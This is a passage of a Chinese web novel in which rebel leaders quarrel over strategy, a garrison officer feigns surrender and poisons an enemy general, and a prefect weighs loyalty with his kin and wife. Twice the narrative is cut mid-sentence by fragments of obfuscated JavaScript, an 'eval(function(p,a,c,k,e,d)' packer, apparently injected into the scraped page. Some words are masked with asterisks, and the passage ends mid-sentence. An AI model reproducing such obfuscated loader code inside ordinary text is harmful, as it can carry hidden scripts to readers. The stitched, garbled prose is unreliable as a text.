道理很简单,因为他已经意识到了,单通海这几人,或许真不是有备而来,但却做到了无懈可击……从发动速度到决议制度再到兵力,全都让你根本无法发力,真要是发力撕破脸了,就好像自己之前想的那般,必然落败,到时候就是灾难性的结果。 可若是不发力,那就真的只能任由对方施为,而自己却只是枯坐,任人宰割而已。 没错,李枢坚定的认为,从一开始七位头领带着刘黑榥一起过来算起,这就是一场逼宫,一场突袭,一场反乱,一场背叛……只不过挂着合情合理合乎规矩的外皮而已……这群河南豪强,打着忠义的旗号,在自己要做大事的时候,也是最关键的时候背叛了自己。 现在这个时候,不仅仅是张行的命运走到了关键时刻,李定、司马正,还有自己,不都是到了人生中的关键时候吗?包括已经败下来的杜破阵,他难道不是在这个关键时候没撑住的典型吗? 而这个时候,这些人作为自己的下属,丁盛映是王五郎的人不算,其余平素已经向自己做了投靠的人,却纷纷背离了自己。 一念至此,李枢目光扫过单大郎在内的这些刚刚落座的头领,忽然站起身来,打断了几乎已经达成协议的双方:“单大郎。” “李公。”单通海赶紧在座中拱手。“李公请讲……” “我想去徐州……”李枢脱口而对。“也想请你跟我去徐州。” 在场所有人都懵了一下,便是房氏兄弟跟崔四郎都不晓得为什么在这种情况下李枢要说这个? “单大郎。”李枢走到坐着的单通海身前,握住对方双手,诚恳来言。“现在司马正带着徐州兵马往东都,徐州三郡空虚,若能取下,则大河到淮水之间,尽为我们所有……” 单通海此时回过神来,就在座中不解来问:“河北不用救吗?” “河北的局势是这样的,白横秋以下十余万人围困,真真是水泄不通,这个时候骚扰一下后方,切个边边角角,便是成功,也无法动摇大局,结果如何,还是要看张首席自家作为。”李枢认真以对,俨然是早有想法。“反过来说,徐州那里,一旦咱们去了,便是大功告成……” “李龙头!”刘黑榥自来到荥阳城终于逮到一次机会开口。“河北局势严重是不假,可要是我们从后面扯开官军,官军为此腾身,便是给了首席缝隙,以首席的本事,自然会抓住机会,逃出生天……我估摸着,战事是这样的,之前是之前,现在是现在……之前不知道司马正的事情,只知道曹林没了,那时候要是跑,只是被大宗师领着大军压上,就是一败涂地的样子,所以要战;而现在,司马正来了,早一日晚一日,河北肯定知道,官军再多,主要的东都兵肯定慌得不行,太原军也就管不住其他兵马了,这个时候,要是能主动逃出来,就是真的逃出来,河北局势也能反复。” 这话说的,几乎在场所有领兵头领都认可,便是单通海被抓着手都不耽误频频点头,然后又借机来劝李枢:“李公,刘头领说的好,我们出兵河北,一旦赢了,并非不能影响大局。” 李枢顿了一下,继续笑道:“便是辛苦作战,使河北大局扳回一城,可与我们何干?” 徐州之言后,堂上众人再度猝不及防。 “李公此言何意?”单通海微微眯眼。 “很简单,河北是张首席的大局,不是我们的,而徐州若下,与济阴连成一体,咱们也就有了自己的大局。”李枢看都不看其他人,只是拽着单大郎一意来言。“单大郎,去河北,于大局有益,于我等无益;去徐州,咱们公私兼济……却也不是什么以私废公,还请你仔细思量!如果我真是为了什么私心,早该强攻东都了!” 堂上鸦雀无声,谁都没想到,李枢会在这个时候,这种情况下,忽然间就把窗户纸给捅破了。 但是怎么说呢? 房彦朗三人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那你可知道,这些都是黜龙帮里面的道理,而黜龙帮外尚有天下四海?!天下四海之上,尚有天!”李枢大声驳斥。“当日我与张首席为何要建黜龙帮?为是剪除暴魏,安定天下!为了这个,建黜龙帮之前我便鼓动杨慎来反,张首席建帮之前也曾杀南衙相公于道旁,鼓动靖安台巡骑与御驾分野……而且你信不信,便是这次黜龙帮没了,只要张行还活着,我还活着,也会继续来践行这个志向?!故此,我李枢与张行之间,并无私属,我何须为他守君臣之义?!” 刘黑榥听到这里,完全茫然,他想反驳,却不知道从何处来反。 而很自然的,跟之前在丁盛映小院中一样,堂中所有人,都将目光本能的投向了一个人。 李枢也再度看向了此人:“单大郎,我从没有说要做对不起黜龙帮与张行的事情,包括今日,也照样可以发兵五营去河北救人,我只领剩下人去徐州就是了,但有句话总要说出来,尤其是说给你听!” 闻得依然发兵,刘黑榥几人几乎陡然松懈下来。 唯独单通海,其人深呼吸数次,方才盯住了眼前人,缓缓开口:“请李公言明。” “很简单。”李枢终于松开一只手,指向头顶,扬声来对,一时音震屋瓦。“刚刚刘头领说,我若不去救张行,便要被天下人笑话,可是今天下分崩,英雄并起,李某人不才,勉强聚千里之众,合数万之军,又逢龙蛇相争,若还是受制于人,不能自己做出点事业来,不亲手去剪除暴魏,安定地方,难道天下人就不笑话我了?!还是那句话,现在司马正率军入东都,徐州空虚,而别人倒也罢了,我素来视单大郎为当世英雄,若咱们能共取徐州,天下都要侧目!” 单大郎听到这话,一时热血起涌,似乎回到十几年前,他刚刚奇经修为,横行大泽的时候,也曾起过天下事我自为之的豪情,而如今似乎也的确来到了一个特殊的机遇期……是龙是蛇,是英雄是混蛋,似乎都只是一念之间。 “李公说的有道理。”单大郎沉默了一阵子,待自己气血平落,方才站起身来,反过来握住对方手一字一顿来答。“大丈夫行于乱世,确实该光明磊落才行,但光明磊落也要分人的,李公也好,张首席也罢,我都不好评论,只说我单通海,并不是眼界有限,不能看高,更不是想看高,而是说我出身经历如此,人尽皆知……前几十年就是黑道土豪,所以只讲一个义气;这四年,难得跟着张首席与李公、魏公做了些大事,就只晓得一个黜龙帮的规矩制度……而无论是说义气还是说规矩,我都不能在此时弃了张首席!否则,我就失了立身根本了。” 堂上众人反应各异,李枢张口欲言。 但单通海却又反过来劝说:“李公,从帮内规矩上来说,你是龙头、指挥,你想要分兵去徐州,并不能说不行,但你我相交一场,我却也有些私心言语给你听……大丈夫便是有志向,也该屈身守节,然后再论志向才对!否则,凭什么来承受这份大志呢?” 李枢沉默良久,终于在众人的瞩目下撒开了手,认真来言:“如此,单大郎去河北,我自去徐州便是。” 似乎随着单通海的表明心意,在场之人早就意识到事情的发展方向,所以一时并没有几人因为这最终的妥协而如何色变,但一些人明显黯然,一些人明显慌乱,也是毫无疑问的。 太阳渐渐西沉,天黑之前,安排好了投降事宜的韩二郎亲自为东都军大将纪曾牵马,引军一千进入了历亭城内。 待转入县衙,刚刚摆宴,并召见几名投降屯长,其中一人便直接跪倒在地,向纪曾揭发: “纪将军明鉴,韩二郎是诈降!” 第二百七十三章 山海行(20) “纪将军明鉴,韩二郎是诈降!”小小的县衙花厅内,区区两三个大桌,十几人而已,都站起身来看着花厅正中地面,彼处一名新降屯长正伏在地上,浑身颤抖。 而厅内众人闻言,也多战栗惊恐。 纪曾闻言,先是一愣,继而一笑,却又看向了面色如常的韩二郎:“那正好,韩二郎也在此处,你二人可以当面对质,总有一个该死。” 说着,七太保径直落座,丝毫不慌,其他人则各自一凛。 韩二郎也没有慌,他先朝纪曾拱了下手,然后看向了那屯长,语气清淡,却又干脆直接:“刘屯长,你说我诈降,那请问你,我是昨日定计,今日定计?” “自然是昨日,昨日晚上。”刘屯长跪在地上低着头来答。“昨晚就在这里,大家乱成一团糟,是你韩二郎出来做主,说要诈降!然后还安排了全城上下事务!纪将军,在下绝没有说谎,这是个陷阱!他们说,纪将军带的兵没什么,城防足够应付了,只一个将军你是凝丹,没有援军我们一群屯田兵够不着,所以要引诱你进来,杀了你,就可以继续守下去!” 话到最后,其人抬起头来看向了纪曾,目光充满了期盼。 纪曾嘴角微微翘起,似乎是在冷笑,却不知是在笑谁,但依然无话。 “我当时说的是不如降了,不是诈降,此事我可指着三辉四御来发誓……不过,我问的也不是这个。”韩二郎依然不慌,也没有去看纪曾,只继续朝地上之人拱手。“敢问刘屯长,我连个屯长都不是,昨日如何与许多屯长还有一位头领定计诈降?还安排全城内外事务?人尽皆知,我今日统揽城内的权责,全是面见了纪将军后纪将军给的……刘屯长,你不服吗?” “纪将军莫要听他胡说,当速速拿下此人!”与对方相反,刘屯长丝毫不做回应,只是来看纪曾。 纪曾微微一挑眉:“刘屯长,我让你们二人对质,你怎么老盯着我来说话?韩二郎问你话呢,你有话也可问他……须知道,我这人是做惯了靖安台事务的,两人相攻,无凭无据者死,这个道理还是晓得的……当然,还是要说清楚的,事关军务,要是两个人都无凭无据,那两个人都要死的。” 刘屯长一惊,连忙在地上看向韩二郎,却又一时语塞。 韩二郎也不着急,只是静静等待。 须臾片刻,那刘屯长反应过来,仓促爬起身,这才认真回复:“你虽不是屯长,但黄屯长素来对你言听计从,黄屯长又是带头的,自然都听你的。” “你所言不差,我是靠着黄屯长才能在昨晚开的口,但昨晚议和条件里,就有让黄屯长离开的条款,而且黄屯长昨日才得了暂署头领的文书,我便是能说服黄屯长,黄屯长又如何能压制住你们其余几位屯长?”话到这里,韩二郎顿了一顿,却又话锋稍转。“刘屯长是不是觉得纪将军居然真让黄屯长轻松走了,心里不平……” “你莫要诬陷。”刘屯长不等对方说完,立即焦急叫喊。“其实不止黄屯长的缘故,你本人在清河本地也素有威望!你是之前曹善成下面的副都尉!大家都信服你!前晚上打赢了仗,大家更信你!” “到底是因为黄屯长还是因为韩二郎自己?”纪曾不耐插嘴。 “都有,都有!但还是韩二郎自己更重一些!”刘屯长赶紧解释。 “若是大家都信服我,你为何今日与我在这里对质?”韩二郎一声叹气。“而且,我若不是因为做过曹府君下面的副都尉,如何连个屯长都做不得?怎么曹府君时候的副都尉,在黜龙帮这里,还能继续当家?” 刘屯长被问的有些发懵,却还是勉力反驳:“你说这些有什么用?关你诈降何事?昨晚你自是提议诈降,大家都认了的,这才是关键!” “刘屯长昨晚也认了?”韩二郎终于找到了自己想要的缝隙。 “我……我昨晚自然认了!那个时候不认怕是当时就要**!”刘屯长卡了一下,勉力来对。“怎么敢不认?” “这就是当众扯谎了。”韩二郎当场呵斥。“假设我昨晚如你所言,是要诈降,那如果不认,最多就是不认同诈降,还有个守城的格局,还是一体的,怎么会当时就**?” 刘屯长一时语塞。 “当时害怕立即**只有一种可能,就是我们要投降,有人不想投降……但即便如此,黄屯长因为刚刚得了暂署头领的文书,不愿意投降,我也专门向纪将军求了情,今日放他出去了,你到底为什么觉得自己就要**?”韩二郎言辞终于渐渐锋利。 刘屯长反应过来,立即驳斥:“不对,我害怕当时就要**,是因为我想的是投降,你们都要诈降,要是说出来,岂不是要被你们当场弄死?!” 韩二郎叹了口气:“刘屯长这么说,算是在话语上各据一方,确实没法对质了。” 刘屯长本人也明显松了口气。 “但是,在下还是想多说一句,一个城,六个屯,下面的屯田兵之前数年分布在各地务农做工,六个屯长也互不统属,不过几日功夫,因缘际会被夹在前线,连续遭遇攻击,如何就能上下一心,六个屯长有五个铁了心要如何?不管是要诈降还是投降?这都不合人心常理。”韩二郎似乎有些沮丧。“在下昨晚能说服大家去投降,已经很辛苦了。” 周围人闷不做声,都只是低头叉手,倒是端坐不动的七太保纪曾不由笑了笑,然后开口:“既然言语对质各据一方,根本没结果,那我就问了……刘屯长,若是诈降,韩二郎准备怎么对付我?” “我不太清楚……但好像是说到要在酒中下毒?”刘屯长半是茫然半是焦急。“我的任务是攻杀入城的兵马,他其实没告诉我多少其他事,都是我自家听来的。” 纪曾看了看桌案上自己座前的酒水,再度笑了笑,却以手指向了韩二郎:“韩二郎,能饮吗?” 花厅内早已经鸦雀无声,其余人全都忍不住去看那酒,与此同时,韩二郎几乎是毫不迟疑,一声不吭便上前取下那壶酒水,然后端起一杯,一饮而尽,这还不算,其人复又在周围人目瞪口呆中继续自斟自饮,须臾片刻,连续饮了四五杯,小半壶都下去了。 纪曾一开始只是面色不变,任由对方来喝,待到此时,也觉得无趣,却是终于把住对方手臂来笑:“韩二郎别喝了,否则我便没得喝了!” 这还不算,说完,其人复又接过对方新倒的那杯酒,居然是以同杯一饮而尽。 喝完之后,这位七太保才看向已经满头大汗的刘屯长,却又不喊对方,只看向其他人:“诸位,对质到这里,其实已经没意思了,但该过的还得过,现在就是要昨晚在现场的其余三位屯长出来指认,你们谁在,站出来说一说,到底是谁撒谎?” 场中稍微一滞,但很快,就有一人转出来,俯身拱手来对:“纪将军明鉴,昨晚上大家商议不定,确实是韩二郎第一个出来说要投降……至于刘屯长,他没有坏心思,不过是妒忌黄屯长能走,或者韩二郎能被纪将军分派掌权罢了,还请纪将军饶恕一二,撵他出去就行。” 此人一出,其余几位屯长也都翻出,却都是附和 刘屯长当即大怒,便要言语。 “且闭嘴,否则便砍了你!”这时,纪曾忽然摆手制止,金色辉光真气自手掌中逸出,瞬间吸引了所有人注意,也使得渐渐骚动的花厅重新安静下来。 此言一出,花厅门口便有跟随七太保的甲士上前,当面拔出刀来,那刘屯长则面色发白,再难把控心境。 纪曾这个时候方才正色道:“其中真假,我心中比谁都清楚……刘屯长,我问你,你说昨日所有人一致要诈降,只你一个人想着真投降,不敢不应,这话是真是假?” 刘屯长此时反应过来,却反而不敢答了。 原因再简单不过,他此时已经反应过来,他看起来一口咬死,造成了各据一方的口实,以至于双方不能验证,但实际上,从常情上来说,他不可能在那时便一心一意想降服,其他人也不可能一心一意诈降。 事实也的确如此,昨晚上,大家各自犹疑,最后还是韩二郎一一说服,他刘屯长也是今日看到对方入城威风,心里一哆嗦,这才反水的。 但是,这不是为了表忠心吗? “纪将军,我只是为了表忠心,夸大了些。”想到这里刘屯长只在刀边小心翼翼。 “那这毒酒又是怎么回事?”纪曾指着自己桌上酒水来问。 “或许是听岔了。”刘屯长明显惊了一下,却只能硬着头皮来对。“可是纪将军,他们真的是诈降。” “也都罢了。”纪曾一摆手道。“这里面还有个关键,你若答的上来,我便再做计较。” “将军请说……” “退一万步讲,真就是你说的那般,他们这些人是诈降,是要赚我……那他们赚我的底气在哪里?”纪曾认真来问。“酒水这个事情韩二郎已经自证清白……那敢问,城内有一位凝丹高手,一千甲士,城外有充足后援兵马,你们两三千人,又无一个修行上的高手,凭什么赚我?!” 刘屯长一时发懵,不能应答。 “说句不好听的,我既入城,眼下的局面,便占了九成,哪怕这屋子里的人处心积虑,确系今晚赚了我一人,只说兵马,你们拼了命也不过是四成的胜算……疯了吗?”纪曾说着,扫视了花厅内的众人,继而发笑。“其实这便是刘屯长最大的破绽了……刘屯长?” “在。” “我问你,你到底是为什么出首?不要再说一句假话了!” “是……是害怕。” “怕事败?” “对。” “那其他人,他们不怕事败吗?” “……” “他们昨晚上定策的时候不怕事败吗?一群屯田兵!”纪曾说到这里,不由摊手大笑,声震花厅。“一群屯田兵,你要说目光短浅、不敢擅动,顺着原本的方略守城,那是寻常;害怕了投降,也属于寻常;一咬牙,晚上突袭一次试试看,也不是不能理解;但诈降嘛……诈降也不是不行,可要拼上性命来诈降,凭什么啊?黜龙帮给他们灌**了吗?!恕在下不能理解!” “纪将军!”刘屯长晓得局势完全不好,只能等对方说完努力来言。“主要是韩二郎威信了得,然后他本人又一意如此。” “最不可能一意诈降的就是韩二郎,他凭什么要拼了命来诈降?!”纪曾忽然变色发作。“你今日说第一句话,我便认定你在说谎!只是不晓得你为什么说谎,再加上这是军事,是前线,不得不防,才听你废话的!后来知道你是妒忌韩二郎得权,那黄屯长逃出去,便一字一句懒得听你了!” “纪将军,妒忌是真的,但诈降也是真的!害怕也是真的!”对方态度明显,刘屯长彻底无奈,只能哭泣恳求了。 “韩二郎,我已将城内事尽数托付于你,此事你来决断!”纪曾懒得理会对方,只看向了韩二郎。“你说,此人是生是死?” 刘屯长还想说话,听到这里,却又只能看向韩二郎,面露最后之期冀。 韩二郎沉默片刻,迎上对方目光:“若是这都能放过,未免显得在下装腔作势,笼络人心……我以为此人当死。” 刘屯长彻底崩溃,当即大嚎。 而纪曾只是一摆手,自有人将完全失控的刘屯长拖了出去,只在外面院中轻易斩首,并迅速将首级奉上展示。 花厅内早已经无人敢出声,纪曾这才招手示意,让众人入座饮酒。 唯独经此一事,上下颇有些不安,但纪曾也懒得理会,只让韩二郎入座,然后招呼众人饮酒,这才渐渐缓和气氛……当然,也是韩二郎本人也格外知机,凡上一菜,必先自用,凡取一酒,必先自斟。 唯一的隐患堵住,七太保方才难得放松,再加上韩二郎委实妥当,言语投机,以至于渐渐酒酣耳热起来。 就这样,一顿饭用完,并无差错,而就在众人离开县衙后片刻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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接下来,纪曾又喝了几杯茶,等了随自己入城的几位队将前来例行汇报,确定他们下午入城后对仓城、县衙、主干道、与一处城门楼的把控妥当后,到底是最后一点心思都扔下,安心休息去了。 不过,七太保躺下后,头脑渐渐晕沉,对什么动静都敏感好奇,口舌也渐渐发干发麻……这明显是喝酒喝多了的症状……于是忍了一阵子后,只恨自己多日紧张,反而今日贪杯,便复又起身喊茶水。 结果喝了几杯,心中微动,却不敢再多喝,乃是重新唤起亲卫,往外面去打井水,井水送到,灌了一气,脑袋口舌没好,反而又肚子不舒服了。 到这里,七太保彻底无奈,半是尴尬半是警惕的躺回了榻上,然后强忍着些许不适,昏昏沉沉睡了过去。 大约只闭眼了半个时辰,觉得醉意越来越浓,但这种醉意非但没有使人进一步沉入睡眠,反而带起了越来越明显的不适感,至于忽然一个口干,便又睁开了眼睛。 到此时,纪曾都有些拿不定主意,或者说,只是有一丁点的怀疑,这是因为饮酒加自己自作自受饮下凉井水,跟眼下的症状太对路了,再加上韩二郎喝的比他还多,以及刚刚辨析过的“诈降风波”,委实让他不愿意导向那个怀疑。 但是,当这位凝丹高手,尝试以真气运行肺腑,稍微导出些酒气的时候,却忽然惊讶发现,他四肢内里的经络不知何时渐渐麻痹,甫一用力,便肌肉痉挛、心跳加速,口舌麻痹更是隐隐传导到了脸颊上。 这个时候,七太保哪里还不晓得,自己果然是中了毒。 但他耳听着外面还算是安静的夜晚,却只一意运行真气,维护脏腑、冲刷经脉,希望压下体内之毒,私下回归部队再论其他,根本不敢声张,乃是生怕一声喊叫,反而会惊破这个夜晚,引起什么天大的动静来。 过了一阵子,脑子渐渐沉重纪曾一时间更是只剩下一个念头还在不停盘旋,那就是自己到底是如何**的? 茶水是不容易下毒的,也不稳当,似乎很明显是今日晚宴酒水有问题,但修为比自己还低的韩二郎喝的比自己还多,这又算什么? 所以,是哪里?怎么**的? 总不能是井水吗? 偏偏脑袋昏昏沉沉,根本无法思索清楚。 这是二月中旬,双月都已经亮了大半,城内城外,地面都被月光冲刷的干干净净。同一时刻,县衙西南面仓城南部屯田军驻地,月光下,几名屯长正围着一人,面露忧色。 被围这人,此时正在灌着一碗生鸡蛋,努力咽下后,几乎是瞬间便忍耐不住,哇的一下又吐了出来。 几位屯长被溅了一身,当面那位铁裲裆更是被染了黏黏糊糊一大片,却无人躲闪,反而只是盯着对方。 而待后者抬起头来,月光照耀下乃是一张苍白到极致、明显肌肉抽搐的脸,却果然是韩二郎。 韩二郎喘息数次,勉强缓住身形,再来看周围几人:“不要犹豫了,纪曾与我前后喝的酒,现在却没反应,不可能是避开了毒,而必然是毒性发作起了效用,只是不敢声张或者不能声张罢了,我现在……现在不能动弹,诸位当速速按计划攻杀各处,先集中取城门和县衙……隔断内外,赚了纪曾,然后再徐徐图内外……黄……黄屯长见到动静,必然会从外面攻击,牵扯敌营的,你们……只……只告诉下面兄弟,是帮内……帮内援军。” 其他人都不吭声,只盯着韩二郎喘粗气,因为后者说到最后,已经多次打起寒颤,几次咬住牙关停顿,分明是自行用舌头顶开来说话的。 而韩二郎见状,再度压住了胃部的不适,用舌头顶开本能发紧牙关,冷笑了一声:“一条命而已,诸位何必在意?!纪曾这人,包括整个官军,之所以中计,说到底,骨子里就是觉得我们一群屯田兵不会拼命罢了,却不知道,我们就是要与他们拼命!而且要拼个你死我活!诸位速去,今日我韩二绝不会死!死的只是他纪曾!” 几位早已经披上铁裲裆、戴上头盔的屯长见状,再不犹豫,各自转身便走。 须臾片刻,让纪曾难以接受却已经有了预料的一幕出现了,外面火光一片,四面八方喊杀声一起大作,最近一声更是清晰入耳: “纪曾已死!帮内援军到了!韩二郎有令,杀东都贼呀!” 第二百七十四章 山海行(21) 二月十三日夜与二月十四下午,相隔数百里的河北战场两端先后爆发了两场战斗,皆是联军的末端军事力量轻敌所致,但这无疑打破了联军主力不可战胜的既有概念,而且,无论是损失的兵力,还是折掉的将领,都已经到了不可轻忽的地步了。 实际上,如果只以太原军与东都军为主体来计量的话,这几乎称得上是伤筋动骨,断指钳尾了。 更不要说,清漳水源头一战,背后黜龙军河南势力的抵达、粮道的彻底中断,以及随之而来再也无法遮掩的东都方向流言,每一个都会对联军大营那里造成巨大影响,以至于直接给此战最终结果带来某种莫名的味道。 不过,有一说一,十四日的傍晚时分,因为整个大战场的范围,几乎所有关键人物都还没有收到相关讯息,各处气氛似乎是没有任何改变的。 对于远在平原郡治安德的平原郡太守程知理而言,就更是如此了。 这天傍晚之前,他得到的真切战场消息只有一个,那就是一群屯田兵在历亭打败了跟着崔氏**的清河郡卒,宰杀了史怀名……没错,大营那里对后方信息的传递是不怎么上心的,基本上全靠中下层的自然扩散。 回到安德这里,这天并没有下雨,但从下午开始确实有些阴沉。 程知理安静的在郡府内处理完事情……是真的在处理事情……几日前,魏玄定、陈斌、窦立德三人在西面建立起了大本营,统一了决策机构,近在咫尺的平原郡这里是没得跑的,很多军务后勤发来都是要立刻做的,也没有瞒着程知理;除此之外,还有本郡的庶务,别的不说,春耕的事情、刑诉的勾决这些日常事务也依旧从他手中过。 但是这一切,不耽误整个郡府上下在短短数日转而对程知理报以了一种微妙的态度。 “都谁来了?” 程大郎回到住处,还未下马便看到门前廊柱下散落了十几匹马,不由皱眉。 “回禀大郎,先是夫人那边来了几个亲眷故旧,这几日日常来的,然后庄内的自家兄弟们也来了,人多了些,所以杂乱。”候在此处的老都管早早迎上,牵了马缰,稍作解释。“侧门马厩其实没满,但腾进那个脾气大郎又不是不知道,他看见先前来客人的马干净,便阴阳怪气的把马扔在外面了,还不愿意上堂,只在院子里聒噪。” 程大郎心下恍然,却没有吭声,而是老老实实低头进了廊屋。 没办法,自己那清河崔世出身妻子的“亲眷们”若是能跟自己庄户里的老兄弟一见如故的话,那陈斌跟窦立德都不用斗起来了。 至于说动静太大,引起瞩目,事到如今也顾不得了。 “大郎!” “大哥!” “阿叔!” 果然,一进门,许多人便从前院各处拥了上来,称呼五花八门,却多能听出来,都还是登州、齐郡一带的老兄弟,后来渡河搬迁,包括划到现在的无棣郡,也不过三年,后来有军功授田挪到旁处的,更不过一年,都不耽误程大郎在其中威信的。 “怎么都来了?”稍作寒暄之后,程大郎状若无事,只负手笑问。“家里的地都耕好了吗?平白来我这里打秋风?” “大郎!”一个双目炯炯却明显有些瘸步的中年人瞅了瞅周遭,看着院门关上后便迎上来当场问话。“咱只说我们那边庄子里传言,说是帮上要拿你?是也不是?” “胡扯什么?”程大郎当场吓得摆手。“哪来的谣言?我这刚刚从郡府回来,哪里要拿我?咱们进去说,上堂上坐了再说。” “由不得大家乱想,之前大哥兵权……” “小五且住嘴。”还是之前那中年人阻拦其他人后来问。“大郎,几句话而已,说清楚就行,上不上堂,坐不坐有什么意思?我再问你,下面还有人说你要反了,是也不是呢?” “也没有这回事!”程大郎无奈跺脚道。“这也是胡扯!我在黜龙帮里有名有位,要是无故反了,如何能在这天下立足?” 周围挤上来的人多有释然。 “可要是有故呢?”那瘸腿中年人依旧板着脸来问。“刚刚小五也说了,帮里夺了你兵权,让你做个郡守,你是不是心里有怨气?” “做个郡守算是坏事吗?!”程大郎双手一摊,满脸无奈。“老腾,小**懂事你不懂事?这都什么人说什么话呀?我祖上三代在大齐做军头,到我爹才算是积攒了家世做了一任郡守,可惜福薄,做了没几年大齐就没了,我这才四年,还吃了好几次败仗,依然做了一郡太守,说破天去这都是张首席的恩义,何谈什么怨气?” “所以,大郎你不准备反?也没被帮里要擒拿?”昔日程大郎的亲卫头子,瘸子腾进皱着眉继续来问,丝毫没有被对方唬住。 “没有!”程大郎无奈,就在院中指天来言。“三辉四御看着,我在这里确系无灾无乱。” “那便是无灾无乱,你自己心里可有想法呢?”瘸子还是继续追问,还是没被对方给塞住嘴,非只如此,他甚至拐着脚又逼近了一步。 程大郎彻底无奈,他如何不晓得,有些话糊弄他人可以,糊弄这些跟着自己几十年的老兄弟纯属扯淡呢? 想到这里,他便也终于正色:“老腾,你既然这般问了,我也给你透个底,你回去也给庄子里的兄弟们说一遍……我程知理从来没有想过要反,也不会反……但有没有麻烦呢?自然也是有的,麻烦就是张首席现在被围着了。” 话到这里,程大郎喘了口气,看了看四周,方才继续来说:“你们这些人,不管是不是姓程,都是我老程的至亲叔伯兄弟子侄,我这半辈子的经历你们不知道吗?进黜龙帮这事,是张首席把我拉进去的,大头领也是他给的,兵败之后再分营头也是张首席给我的那个营头,后来军务上不上心,还是张首席改了我的军职到郡守的……一句话,我程大郎的荣辱是非都是系在张首席身上的,他在,我怎么都无所谓,也不怕什么事情,心里也安生;他不在,其他人不晓得我跟张首席之间的关系,不晓得我跟张首席之间的信任,反而引出来一些无端的疑虑来……所以麻烦是有的,就是陈斌、窦立德那些人掌权后开始疑我,这才惹出来许多谣言。但你们想想,只要我安稳下来,有事去做,有调就去,他们又能如何呢?” 那瘸子以下,几个主心骨,包括跟在程大郎身后的老都管,算是听到了程大郎的心里话,这个时候才都放松下来。 “大郎别怪我们。”腾瘸子这时候方才信了。“你有你的想法,我们也有我们的想法,只不过咱们到底是一根绳上拴着的老兄弟,当年一起立过誓的,又生死闯荡过,所以若你真要反了,不管我们愿不愿意,也不管你将来有没有好名声好结果,都要拼了命随你去的,大不了一起死无葬身之地就是!也就是为这个,今日才来逼问几句。” 程大郎老牌凝丹的实力,如今却只觉得头晕目眩起来,又连续喘了好几口气方才点头:“你们的义气我怎么能不知道?只是这个局势,前面还在生死存亡的,你们一挤过来弄得我也手足无措,还要给那几个疑我的人口实,平白添麻烦……都走吧!今日且不让你们打秋风,等局势缓过来,咱们再一起喝酒。” 腾瘸子点点头,也不吭声,而是直接拐着脚准备出门牵马回去了。 不过,其人临到刚刚打开的侧门前,却又在台阶上歪着身子回头:“大郎,那堂上那些人又怎么说?” “能怎么说?”程知理再三苦笑。“跟你们一样瞎想,偏偏又没有你们的干脆,只是日日来,生怕我不照应着他们,直接被帮里处置了……其实真要处置他们,早就处置了,何至于今天?” 腾进笑了笑,不再计较,带头出门去了,其余人等也在朝程知理行礼后匆匆离去。 目送着这些老兄弟离开,程大郎立在院中沉默了好一阵子,以至于天色彻底黑下来,老都管吩咐人点起火把火盆时方才动身……却并没有往堂上来……反而是越过了尚有客人等待的正堂,转向后院,直接进了花厅,然后请了自家那刚刚娶了没多久的夫人过来。 程夫人自然姓崔,今年不过双十出头年华,比程大郎年轻的多,不过,跟程大郎一把年纪只**一次正牌夫人不同,崔夫人却是个三婚的寡妇……但这也委实没人计较,因为之前五六年间,也就是崔夫人年纪最好的时候,全天下的男人未免死的太多了点,也太随机了点。 这其中,河北尤其夸张一点。 听到讯息,崔夫人很快赶来,然后只是一礼,便从容坐下,静待自己的丈夫开口。 程大郎再度沉默了片刻,然后隔着半个桌子缓缓来言:“夫人,时局危难,但所谓夫妻同心,咱们既是两口子,我也该跟你说一下我的打算跟想法!” “大郎请言。”崔夫人面色如常,似乎早有预料。 “堂上那几位崔氏亲眷里,其中很有几位是经常带着说法来的,明里暗里就是希望我能在后面反了,捅前线一刀,说是不指望别的,只要前线大营往后退一步,那不论最后结果,就有个中郎将保底。”程大郎开口言道。“但我无论如何都不会答应这个的……非只如此,待会我还要将他们扣下来,送进郡府牢里。” 崔夫人依旧从容。 “不答应原因很简单,倒不是嫌弃中郎将低什么的,也不是不信谁,没到那一步……只是觉得,一个是人本身不能轻易**,尤其是出头**的,因为一旦反了,名声就坏了;另一个是,一旦要反,必然牵动那些老兄弟,但那些兄弟为我出生入死的,好不容易过了两年安生日子,我是宁死也不愿意再让他们死无葬身之地的。” 崔夫人还是不说话。 “夫人懂我的意思吗?我可以反,但只有两条路,一个是前面联军大胜了,推了过来,到时候可能会因为想保住那些老兄弟还有那些跟着我往来遭罪的庄子,就势降了……但那其实还是降,不是反;还有一条路,便是实在是被陈斌、窦立德那些人逼急了,一个人跑过去前线,单枪匹马的背反,以此告诉天下人,是陈窦他们不仁不义,我是被逼无奈,反正不会牵累其他人。” 崔夫人点点头,终于开口:“夫君的心意我已经明白了,所以夫君现在想要如何行事呢?” “我想要去前线大营里去。”程大郎叹了口气。“在这里处于嫌疑之地,不只是陈斌窦立德一直疑我,也让我那边的老兄弟,还有你这边的亲眷故交总是觉得我有想法,或者总觉得能动摇我……而我现在谁都不想牵累……我只按照陈窦的要求到了前线,到了他们那些人眼皮子底下,再做决断便是。” “到了前线又如何决断呢?”崔夫人催问了半句。 “到了前面,若是陈斌和窦立德管不住自己,压迫过甚,真要我命,我也不会坐以待毙,逃了反了便是;要是他们管的住自己,我便努力作战就好。”程大郎笑道。“当然,若是大局崩坏,那我就逃回来,看顾好这里。” 崔夫人点点头,一声不吭转身离开,须臾,再度转出,却端来一壶酒,两个杯子,然后重新放下,只在桌上斟好,便自取了一杯,从容开口: “大郎!” “夫人请讲。”程大郎见状,心下不安,却也只能硬着头皮来对。 “局势危难,你夹在其中,又有许多顾虑,自然有许多想法,将来怎么样也都听天由命。而我作为你夫人,其实也有一个念头,希望大郎能记住。”崔夫人捧着杯认真交代。 “我尽力而为。”程大郎也主动捧杯。 崔夫人以手环过对方手臂,竟是个交杯的姿态,然后清晰来言:“只求大郎一件事,千难万难,刀光剑影的,务必要活下来,我委实不愿意再嫁一回了。” 说着,自是闭目一饮而尽。 程知理心下一荡,却也赶紧低头一饮而尽。 程知理饮酒的当 